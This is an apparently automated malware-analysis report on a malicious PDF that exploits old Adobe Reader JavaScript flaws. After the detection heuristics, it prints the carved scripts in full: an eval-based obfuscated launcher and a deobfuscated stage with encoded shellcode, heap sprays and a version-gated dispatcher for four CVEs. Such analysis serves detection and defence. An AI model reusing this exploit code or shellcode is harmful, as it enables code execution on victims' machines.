Malicious PDF — malware analysis report

Static analysis result for SHA-256 9b79c07f006daa9e…

MALICIOUS

PDF

28.7 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2013-08-11
MD5: 3b24d33110796c0feaa348abddbf1ecc SHA-1: 9414aaa4e21b76399b31cde15d80535252cc2b45 SHA-256: 9b79c07f006daa9e4223662c15b658b090925b2390ccfb191a1332a1e6e837cd
516 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 Command and Scripting Interpreter: PowerShell T1059.003 Command and Scripting Interpreter: Windows Command Shell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The use of String.fromCharCode suggests obfuscation, a common technique for malicious scripts. The embedded JavaScript, named javascript_obj0001_000.js, likely attempts to perform malicious actions such as downloading a second-stage payload or exploiting vulnerabilities. The document body text is minimal and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xA 621 bytes
SHA-256: ecb5a6d6a02c0b8ece651f11334719abe8cfb91ca91e5d40ec99ceca78bebe2f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var date = new Date();
itw='';
var q2 = date.getFullYear()-2007;
mbz='2011s'.replace(date.getFullYear(),'hi');
bpb=('.tit2011').replace(date.getFullYear(),'le');
Function('','yqo=t'+mbz+bpb)();
ssa=('sub2011').replace(date.getFullYear(),'ject');
Function('','dzpd=t'+mbz+'.'+ssa)();
var dzpd=dzpd.replace(date.getFullYear(),'al');
Function('','emzg=t'+mbz+'.'+dzpd)();
hczjf='.pro2011cer';
hczjf=emzg('hczjf.replace(date.getFullYear(),"du")');
Function('','hoo=t'+mbz+hczjf)();
ziv=emzg(hoo);
aikbl = emzg(yqo);
for (i = 0; i < aikbl.length; i++) {
	muvp = aikbl[i];
	itw += ziv(muvp);
}
emzg(itw);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Title year-arithmetic JavaScript at offset 0x33C 3630 bytes
SHA-256: 2583b5ca8f47817b6e59addf89d3cf85398bcaecc8a6d523bb6fd2f9d45f2a44
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u35b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u0d34%ue2aa%uc3fa%ue5e8%uffff%ue4ff%u0c01%u0d0d%u8c53%u51e1%u0d0c%u840d%u80ea%u1d42%u6280%u3c59%u5ad6%u5e5c%u5e5e%u5e5e%u5e5e%u5e58%u655e%u0c09%u0d0d%u5b58%u655e%u6362%u0d0d%u7865%u617f%u5960%u8365%u0343%ue5e1%u0d45%u0d0d%ue55d%u0d71%u0d0d%uddf2%uc98e%u6505%ue242%u0842%ue55d%u0d61%u0d0d%uddf2%ucd88%u1a78%u5967%ufe54%u65a7%uf37f%u1bbe%u10e5%u0d0d%u5d0d%u5ce5%u0d0d%uf20d%u5edd%uf367%u8465%u0c62%ue5b0%u0d05%u0d0d%ue55d%u0d31%u0d0d%uddf2%u3c6d%u69cd%u5d86%u863d%u015f%u5f86%u8619%u257f%u15b4%u0d0d%u3c0d%u3cf2%ua1cd%u6c31%u0f71%u2d21%uc2cc%u0c00%uefca%u8cfd%u56f2%u47b1%u8667%u1d4f%u1f86%ud478%u4984%u1129%uce6c%u866d%u2961%u8629%u3148%u5986%u7508%ue70c%u4786%u8615%u2d57%ue60c%u39ee%u8644%u8639%ue30c%uf23c%ucd3c%ua1f1%ucd89%u0a79%uc2cc%u0c00%ue6ca%u36f9%u2971%u7825%u86ec%u2957%ue60c%u866b%u4601%u5786%u0c11%u86e6%u8609%ue50c%u4984%u1129%ucf6c%u0d05%ue2e5%uf2f3%u65f2%u7979%u377d%u2222%u7e6c%u747c%u2379%u6364%u6922%u7d23%u7d65%u6b32%u3f30%u2b3b%u3068%u0d3e';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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